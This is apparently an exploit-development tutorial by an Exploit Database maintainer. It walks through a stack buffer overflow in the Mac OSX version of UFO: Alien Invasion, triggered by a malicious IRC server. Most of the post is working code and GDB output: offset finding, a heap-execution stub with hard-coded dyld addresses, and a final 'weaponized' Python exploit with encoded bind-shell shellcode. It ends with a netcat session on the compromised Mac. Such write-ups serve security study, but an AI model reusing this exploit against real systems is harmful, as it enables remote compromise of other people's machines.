This post is a continuation of part 1 of exploiting UFO: Alien Invasion. When I was downloading this game, I noticed that they had a version for Mac OSX as well and since public Mac exploits are few and far between, it seemed like a good idea to see if this attack could be extended to target OSX as well. Exploiting a Mac also gives us the opportunity to practice our GNU Debugger (GDB) skills.
We begin our journey by launching UFOAI on the victim and attaching to the process with the GDB.
First, we’ll need to determine if we can successfully overwrite EIP so we construct a new skeleton exploit that will launch a string of A’s at the victim when it connects.
#
# Skeleton Exploit for UFO: Alien Invasion
# Author: dookie
#
import sys, socket
sploit = "001 :"
sploit += "\x41" * 1000
sploit += "\x0d\x0a"
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.bind(('', 6667))
s.listen(1)
print ("[*] Listening on port 6667.")
print ("[*] Have someone connect to you.")
print ("[*] Type -c to exit.")
conn, addr = s.accept()
print '[*] Received connection from: ', addr
conn.send(sploit)
conn.close
As we did with the Windows version of this exploit, we run our script, connect to our malicious server and capture the crash in our debugger.
Continuing.
Program received signal EXC_BAD_ACCESS, Could not access memory.
Reason: KERN_INVALID_ADDRESS at address: 0x41414141
0x41414141 in ?? ()
(gdb)
This looks very promising. Looking at the state of the registers shows we have full control over EIP along with some other registers.
eax 0x0 0
ecx 0x237ce0d0 595386576
edx 0xfd1a20 16587296
ebx 0x41414141 1094795585
esp 0xbffffa30 0xbffffa30
ebp 0x41414141 0x41414141
esi 0xbffffb70 -1073742992
edi 0xbffffbb0 -1073742928
eip 0x41414141 0x41414141
eflags 0x10286 66182
cs 0x17 23
ss 0x1f 31
ds 0x1f 31
es 0x1f 31
fs 0x0 0
gs 0x37 55
(gdb)
We can safely assume that the required buffer length to overwrite EIP on the Mac will not be the same as that on Windows so we use Metasploit to generate a unique 1000-byte pattern that we will replace the A’s with.
We relaunch our exploit, connect to our server and again analyze the crash in gdb.
eax 0x0 0
ecx 0x237aeff0 595259376
edx 0xfd1a20 16587296
ebx 0x72413372 1916875634
esp 0xbffffa30 0xbffffa30
ebp 0x35724134 0x35724134
esi 0xbffffb70 -1073742992
edi 0xbffffbb0 -1073742928
eip 0x41367241 0x41367241
eflags 0x10286 66182
cs 0x17 23
ss 0x1f 31
ds 0x1f 31
es 0x1f 31
fs 0x0 0
gs 0x37 55
(gdb)
Our debugger shows us that EIP was overwritten with 0×41367241 which we plug in to the Metasploit pattern_offset.rb script to determine the position these characters occur.
528
Metasploit tells us that the characters that overwrite EIP are bytes 529-532 so we edit our skeleton exploit to reflect this new information.
#
# Skeleton Exploit for UFO: Alien Invasion
# Author: dookie
#
import sys, socket
sploit = "001 :"
sploit += "\x41" * 528
sploit += "\x42" * 4 # EIP overwrite
sploit += "\xcc" * 468 # Dummy shellcode
sploit += "\x0d\x0a"
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.bind(('', 6667))
s.listen(1)
print ("[*] Listening on port 6667.")
print ("[*] Have someone connect to you.")
print ("[*] Type -c to exit.")
conn, addr = s.accept()
print '[*] Received connection from: ', addr
conn.send(sploit)
conn.close
Launching our attack again, we see if we have everything controlled properly.
Reason: KERN_INVALID_ADDRESS at address: 0x42424242
0x42424242 in ?? ()
(gdb) i reg
eax 0x0 0
ecx 0x237beb00 595323648
edx 0xfd1a20 16587296
ebx 0x41414141 1094795585
esp 0xbffffa30 0xbffffa30
ebp 0x41414141 0x41414141
esi 0xbffffb70 -1073742992
edi 0xbffffbb0 -1073742928
eip 0x42424242 0x42424242
eflags 0x10286 66182
cs 0x17 23
ss 0x1f 31
ds 0x1f 31
es 0x1f 31
fs 0x0 0
gs 0x37 55
(gdb)
EIP has been overwritten with B’s as planned and dumping the address that ESP points to shows us that our dummy shellcode has made its way through onto the stack as well.
0xbffffa30: 0xcc 0xcc 0xcc 0xcc 0xcc 0xcc 0xcc 0xcc
0xbffffa38: 0xcc 0xcc 0xcc 0xcc 0xcc 0xcc 0xcc 0xcc
0xbffffa40: 0xcc 0xcc 0xcc 0xcc 0xcc 0xcc 0xcc 0xcc
0xbffffa48: 0xcc 0xcc 0xcc 0xcc 0xcc 0xcc 0xcc 0xcc
0xbffffa50: 0xcc 0xcc 0xcc 0xcc 0xcc 0xcc 0xcc 0xcc
0xbffffa58: 0xcc 0xcc 0xcc 0xcc 0xcc 0xcc 0xcc 0xcc
0xbffffa60: 0xcc 0xcc 0xcc 0xcc 0xcc 0xcc 0xcc 0xcc
0xbffffa68: 0xcc 0xcc 0xcc 0xcc 0xcc 0xcc 0xcc 0xcc
0xbffffa70: 0xcc 0xcc 0xcc 0xcc 0xcc 0xcc 0xcc 0xcc
0xbffffa78: 0xcc 0xcc 0xcc 0xcc 0xcc 0xcc 0xcc 0xcc
0xbffffa80: 0xcc 0xcc 0xcc 0xcc 0xcc 0xcc 0xcc 0xcc
0xbffffa88: 0xcc 0xcc 0xcc 0xcc 0xcc 0xcc 0xcc 0xcc
0xbffffa90: 0xcc 0xcc 0xcc 0xcc 0xcc 0xcc 0xcc 0xcc
0xbffffa98: 0xcc 0xcc 0xcc 0xcc 0xcc 0xcc 0xcc 0xcc
0xbffffaa0: 0xcc 0xcc 0xcc 0xcc 0xcc 0xcc 0xcc 0xcc
0xbffffaa8: 0xcc 0xcc 0xcc 0xcc 0xcc 0xcc 0xcc 0xcc
0xbffffab0: 0xcc 0xcc 0xcc 0xcc 0xcc 0xcc 0xcc 0xcc
0xbffffab8: 0xcc 0xcc 0xcc 0xcc 0xcc 0xcc 0xcc 0xcc
0xbffffac0: 0xcc 0xcc 0xcc 0xcc 0xcc 0xcc 0xcc 0xcc
0xbffffac8: 0xcc 0xcc 0xcc 0xcc 0xcc 0xcc 0xcc 0xcc
0xbffffad0: 0xcc 0xcc 0xcc 0xcc 0xcc 0xcc 0xcc 0xcc
0xbffffad8: 0xcc 0xcc 0xcc 0xcc 0xcc 0xcc 0xcc 0xcc
0xbffffae0: 0xcc 0xcc 0xcc 0xcc 0xcc 0xcc 0xcc 0xcc
0xbffffae8: 0xcc 0xcc 0xcc 0xcc 0xcc 0xcc 0xcc 0xcc
0xbffffaf0: 0xcc 0xcc 0xcc 0xcc 0xcc 0xcc 0xcc 0xcc
(gdb)
If this were the comfortable world of Windows, all we would need to do would be to overwrite EIP with a JMP ESP instruction and we’d be on our way but in OSX, the stack is non-executable so we will need to use Dino Dai Zovi’s technique to copy our payload to the heap and execute it from there. For a more complete overview of this process see the excellent write-up on the Evocam exploit by d1dn0t on the Offensive Security blog. The ‘Exec Payload From Heap’ stub looks like the following.
frag0 = "\x90\x58\x61\xc3"
frag1 = "\x90\x58\x89\xe0\x83\xc0\x0c\x89\x44\x24\x08\xc3"
writeable = 0x8fe66448 # writeable memory location in /usr/lib/dyld
setjmp = 0x8fe1cf38 # t _setjmp in /usr/lib/dyld
strdup = 0x8fe210dc # t _strdup in /usr/lib/dyld
jmpeax = 0x8fe01041 # jmp eax in /usr/lib/dyld
stub = frag0 + struct.pack('<III',setjmp,writeable+32,writeable) + \
frag1 + 'A' * 20 + struct.pack('<IIIII',setjmp,writeable+24,writeable,strdup,jmpeax) + \
'A' * 4
Our exploit is edited to include the stub and some dummy shellcode.
import sys, socket, struct
# msfpayload osx/x86/vforkshell_bind_tcp R | msfencode -b '\x00\x0a\x0d' -t c
shellcode = "\x90" * 16
shellcode += "\xcc" * 300
#### Exec Payload From Heap Stub (By Dino Dai Zovi) ####
frag0 = "\x90\x58\x61\xc3"
frag1 = "\x90\x58\x89\xe0\x83\xc0\x0c\x89\x44\x24\x08\xc3"
writeable = 0x8fe66448 # writeable memory location in /usr/lib/dyld
setjmp = 0x8fe1cf38 # t _setjmp in /usr/lib/dyld
strdup = 0x8fe210dc # t _strdup in /usr/lib/dyld
jmpeax = 0x8fe01041 # jmp eax in /usr/lib/dyld
stub = frag0 + struct.pack('<III',setjmp,writeable+32,writeable) + \
frag1 + 'A' * 20 + struct.pack('<IIIII',setjmp,writeable+24,writeable,strdup,jmpeax) + \
'A' * 4
sploit = "001 :"
sploit += "\x41" * 524
sploit += stub
sploit += shellcode
sploit += "\x0d\x0a"
#sploit = lead
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.bind(('', 6667))
s.listen(1)
print ("[*] Listening on port 6667.")
print ("[*] Have someone connect to you.")
print ("[*] Type [control]-c to exit.")
conn, addr = s.accept()
print '[*] Received connection from: ', addr
conn.send(sploit)
conn.close
Again, we attach gdb to UFOAI and we set a breakpoint at the end of the setjmp function and allow the program to continue execution.
Breakpoint 1 at 0x8fe1d026
(gdb) c
Continuing.
Our exploit is launched, we connect to our malicious server and cross our fingers.
(gdb)
Excellent, we’ve hit our breakpoint so we know that our stub is working to some degree. Pressing ‘c’ to continue execution will see us hitting our breakpoint again as we reach the end of our second setjmp function.
Continuing.
Breakpoint 1, 0x8fe1d026 in __dyld__setjmp ()
(gdb)
If we single step 5 times and then look at the EAX register, we should hopefully see our shellcode as planned.
0x8fe66460 in ?? ()
(gdb) si
0x8fe66461 in ?? ()
(gdb) si
0x8fe66462 in ?? ()
(gdb) si
0x8fe66464 in ?? ()
(gdb) si
0x8fe66467 in ?? ()
(gdb) x/100xb $eax
0xbffffa70: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
0xbffffa78: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
0xbffffa80: 0xcc 0xcc 0xcc 0xcc 0xcc 0xcc 0xcc 0xcc
0xbffffa88: 0xcc 0xcc 0xcc 0xcc 0xcc 0xcc 0xcc 0xcc
0xbffffa90: 0xcc 0xcc 0xcc 0xcc 0xcc 0xcc 0xcc 0xcc
0xbffffa98: 0xcc 0xcc 0xcc 0xcc 0xcc 0xcc 0xcc 0xcc
0xbffffaa0: 0xcc 0xcc 0xcc 0xcc 0xcc 0xcc 0xcc 0xcc
0xbffffaa8: 0xcc 0xcc 0xcc 0xcc 0xcc 0xcc 0xcc 0xcc
0xbffffab0: 0xcc 0xcc 0xcc 0xcc 0xcc 0xcc 0xcc 0xcc
0xbffffab8: 0xcc 0xcc 0xcc 0xcc 0xcc 0xcc 0xcc 0xcc
0xbffffac0: 0xcc 0xcc 0xcc 0xcc 0xcc 0xcc 0xcc 0xcc
0xbffffac8: 0xcc 0xcc 0xcc 0xcc 0xcc 0xcc 0xcc 0xcc
0xbffffad0: 0xcc 0xcc 0xcc 0xcc
(gdb)
Now, we continue execution and hit our dummy shellcode without a hitch.
Continuing.
Program received signal SIGTRAP, Trace/breakpoint trap.
0x237cc9d1 in ?? ()
(gdb) i reg
eax 0x237cc9c0 595380672
ecx 0x0 0
edx 0x0 0
ebx 0x41414141 1094795585
esp 0xbffffa6c 0xbffffa6c
ebp 0xc3082444 0xc3082444
esi 0x890cc083 -1995652989
edi 0xe0895890 -527869808
eip 0x237cc9d1 0x237cc9d1
eflags 0x246 582
cs 0x17 23
ss 0x1f 31
ds 0x1f 31
es 0x1f 31
fs 0x0 0
gs 0x37 55
(gdb) x/6i $eip
0x237cc9d1: int3
0x237cc9d2: int3
0x237cc9d3: int3
0x237cc9d4: int3
0x237cc9d5: int3
0x237cc9d6: int3
(gdb)
All we need to do now is replace our dummy shellcode with some genuine bindshell shellcode and get our shell!
[*] Listening on port 6667.
[*] Have someone connect to you.
[*] Type [control]-c to exit.
[*] Received connection from: ('192.168.1.124', 54370)
root@bt:~/docs/exploit/ufo# nc 192.168.1.124 4444
id
uid=501(dookie) gid=20(staff) groups=20(staff),98(_lpadmin),102(com.apple.sharepoint.group.2),81(_appserveradm),79(_appserverusr),80(admin),101(com.apple.sharepoint.group.1)
uname -a
Darwin dookies-macbook.local 9.8.0 Darwin Kernel Version 9.8.0: Wed Jul 15 16:55:01 PDT 2009; root:xnu-1228.15.4~1/RELEASE_I386 i386
Our final weaponized exploit looks like this:
import sys, socket, struct
# msfpayload osx/x86/vforkshell_bind_tcp R | msfencode -b '\x00\x0a\x0d' -t c
shellcode = "\x90" * 16
shellcode += ("\xdb\xc3\xd9\x74\x24\xf4\xbb\xf3\xbd\x8d\x7c\x33\xc9\x5d\xb1"
"\x27\x31\x5d\x18\x03\x5d\x18\x83\xc5\xf7\x5f\x78\x4d\x37\x06"
"\xd3\xee\xe7\x79\x84\xbc\xb7\x1b\xe9\xc1\xb8\x59\x8f\xc1\xc6"
"\x5d\xf9\x04\x94\x0f\xab\xe0\x18\xb2\x5a\xad\x91\x51\x36\x5d"
"\xf2\xc3\x95\xed\x9c\x26\x99\x7c\x3b\xeb\xcc\xd2\x73\x61\x3c"
"\x52\x01\x28\xec\x01\xb3\x86\xa0\xb8\xf6\xa7\xb3\x90\x81\x6f"
"\x02\xc2\x12\x84\x64\xb7\x47\x0c\x34\x87\x3d\x7f\x3a\x95\x82"
"\xfc\xc0\x59\x71\xf2\x06\x9e\x29\xa4\x38\x4e\x79\x7f\x74\xee"
"\xe9\x10\xba\xc2\x7c\x18\x73\x5e\xb3\x9a\xf0\xa5\x4b\xef\xe1"
"\x68\x8b\x5f\x66\xa4\x24\x13\x1e\xd2\x15\xb1\xb7\x4c\xe0\xd6"
"\x18\xc1\xa1\x48\x29\xda\x88\xe9\x78\xdd\x42\x63\x99\x8d\x32"
"\x20\x0e\x7e\x02\xc1\x63\xfe\x53\x0e\x2b\xaf\xd3\x43\x4c\x45")
#### Exec Payload From Heap Stub (By Dino Dai Zovi) ####
frag0 = "\x90\x58\x61\xc3"
frag1 = "\x90\x58\x89\xe0\x83\xc0\x0c\x89\x44\x24\x08\xc3"
writeable = 0x8fe66448 # writeable memory location in /usr/lib/dyld
setjmp = 0x8fe1cf38 # t _setjmp in /usr/lib/dyld
strdup = 0x8fe210dc # t _strdup in /usr/lib/dyld
jmpeax = 0x8fe01041 # jmp eax in /usr/lib/dyld
stub = frag0 + struct.pack('<III',setjmp,writeable+32,writeable) + \
frag1 + 'A' * 20 + struct.pack('<IIIII',setjmp,writeable+24,writeable,strdup,jmpeax) + \
'A' * 4
sploit = "001 :"
sploit += "\x41" * 524
sploit += stub
sploit += shellcode
sploit += "\x0d\x0a"
#sploit = lead
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.bind(('', 6667))
s.listen(1)
print ("[*] Listening on port 6667.")
print ("[*] Have someone connect to you.")
print ("[*] Type [control]-c to exit.")
conn, addr = s.accept()
print '[*] Received connection from: ', addr
conn.send(sploit)
conn.close
About the Author
Devon Kearns (dookie2000ca) is a mild-mannered security analyst for a government department by day and by night is one of the maintainers of the Exploit Database.


